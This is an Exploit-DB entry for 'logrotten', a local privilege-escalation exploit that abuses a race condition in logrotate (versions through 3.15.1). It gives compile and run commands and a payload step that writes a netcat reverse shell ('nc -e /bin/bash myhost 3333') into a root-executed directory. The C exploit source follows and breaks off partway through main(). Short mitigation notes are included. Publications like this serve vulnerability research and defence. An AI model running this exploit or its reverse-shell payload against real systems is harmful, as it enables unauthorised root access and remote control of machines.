Exploit-DB #47466
Description: logrotten 3.15.1 - Privilege Escalation
Type: local
Platform: linux
Date: 2019-10-07
Author: Wolfgang Hotwagner

Exploit:
# Exploit Title: logrotten 3.15.1 - Privilege Escalation
# Date: 2019-10-04
# Exploit Author: Wolfgang Hotwagner
# Vendor Homepage: https://github.com/logrotate/logrotate
# Software Link: https://github.com/logrotate/logrotate/releases/tag/3.15.1
# Version: all versions through 3.15.1
# Tested on: Debian GNU/Linux 9.5 (stretch)

## Brief description
  - logrotate is prone to a race condition after renaming the logfile.
  - If logrotate is executed as root, with option that creates a
    file ( like create, copy, compress, etc.) and the user is in control
    of the logfile path, it is possible to abuse a race-condition to write
    files in ANY directories.
  - An attacker could elevate his privileges by writing reverse-shells into
    directories like "/etc/bash_completition.d/".

## Precondition for privilege escalation
  - Logrotate has to be executed as root
  - The logpath needs to be in control of the attacker
  - Any option that creates files is set in the logrotate configuration

## Tested version
  - Debian GNU/Linux 9.5 (stretch)
  - Amazon Linux 2 AMI (HVM)
  - Ubuntu 18.04.1
  - logrotate 3.8.6
  - logrotate 3.11.0
  - logrotate 3.15.0

## Compile
  - gcc -o logrotten logrotten.c

## Prepare payload
```
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &);
fi" > payloadfile
```

## Run exploit

If "create"-option is set in logrotate.cfg:
```
 ./logrotten -p ./payloadfile /tmp/log/pwnme.log
```

If "compress"-option is set in logrotate.cfg:
```
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
```

## Known Problems
  - It's hard to win the race inside a docker container or on a lvm2-volume

## Mitigation
  - make sure that logpath is owned by root
  - use option "su" in logrotate.cfg
  - use selinux or apparmor

## Author
  - Wolfgang Hotwagner

## References

  - https://github.com/whotwagner/logrotten
  -
https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
  -
https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
  - https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/
  -
https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd


logrotten.c

/*
 * logrotate poc exploit
 *
 * [ Brief description ]
 *   - logrotate is prone to a race condition after renaming the logfile.
 *   - If logrotate is executed as root and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories.
 *   - An attacker could elevate his privileges by writing reverse-shells into 
 *     directories like "/etc/bash_completition.d/".
 *
 * [ Precondition for privilege escalation ]
 *   - Logrotate needs to be executed as root
 *   - The logpath needs to be in control of the attacker
 *   - Any option(create,compress,copy,etc..) that creates a new file is set in the logrotate configuration. 
 * 
 * [ Tested version ]
 *   - Debian GNU/Linux 9.5 (stretch)
 *   - Amazon Linux 2 AMI (HVM)
 *   - Ubuntu 18.04.1
 *   - logrotate 3.8.6
 *   - logrotate 3.11.0
 *   - logrotate 3.15.0
 *
 * [ Compile ]
 *   - gcc -o logrotten logrotten.c
 *
 * [ Prepare payload ]
 *   - echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
 *
 * [ Run exploit ]
 *   - nice -n -20 ./logrotten -p payloadfile /tmp/log/pwnme.log
 *   - if compress is used: nice -n -20 ./logrotten -c -s 3 -p payloadfile /tmp/log/pwnme.log.1
 *
 * [ Known Problems ]
 *   - It's hard to win the race inside a docker container or on a lvm2-volume
 *
 * [ Mitigation ]
 *   - make sure that logpath is owned by root
 *   - use su-option in logrotate.cfg
 *   - use selinux or apparmor
 *
 * [ Author ]
 *   - Wolfgang Hotwagner
 *
 * [ Contact ]
 *   - https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
 *   - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
 *   - https://github.com/whotwagner/logrotten
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <string.h>
#include <alloca.h>
#include <sys/stat.h>
#include <getopt.h>


#define EVENT_SIZE  ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN     ( 1024 * ( EVENT_SIZE + 16 ) )

/* use TARGETDIR without "/" at the end */
#define TARGETDIR "/etc/bash_completion.d"

#define PROGNAME "logrotten"

void usage(const char* progname)
{
	printf("usage: %s [OPTION...] <logfile>\n",progname);
	printf("  %-3s %-22s %-30s\n","-h","--help","Print this help");
	printf("  %-3s %-22s %-30s\n","-t","--targetdir <dir>","Abosulte path to the target directory");
	printf("  %-3s %-22s %-30s\n","-p","--payloadfile <file>","File that contains the payload");
	printf("  %-3s %-22s %-30s\n","-s","--sleep <sec>","Wait before writing the payload");
	printf("  %-3s %-22s %-30s\n","-d","--debug","Print verbose debug messages");
	printf("  %-3s %-22s %-30s\n","-c","--compress","Hijack compressed files instead of created logfiles");
	printf("  %-3s %-22s %-30s\n","-o","--open","Use IN_OPEN instead of IN_MOVED_FROM");
}

int main(int argc, char* argv[] )
{
  int length, i = 0;
  int j = 0;
  int index = 0;
  int fd;
  int wd;
  char buffer[EVENT_BUF_LEN];
  uint32_t imask = IN_MOVED_FROM;
  char *payloadfile = NULL;
  char *logfile = NULL;
  char *targetdir = NULL;
  char *logpath;
  char *logpath2;
  char *targetpath;
  int debug = 0;
  int sleeptime = 1;
  char ch;
  const char *p;
  FILE *source, *target;    

  int c;

  while(1)
  {
	int this_option_optind = optind ? optind : 1;
	int option_index = 0;
	static struct option long_options[] = {
		{"payloadfile", required_argument, 0, 0},
		{"targetdir", required_argument, 0, 0},
		{"sleep", required_argument, 0, 0},
		{"help", no_ar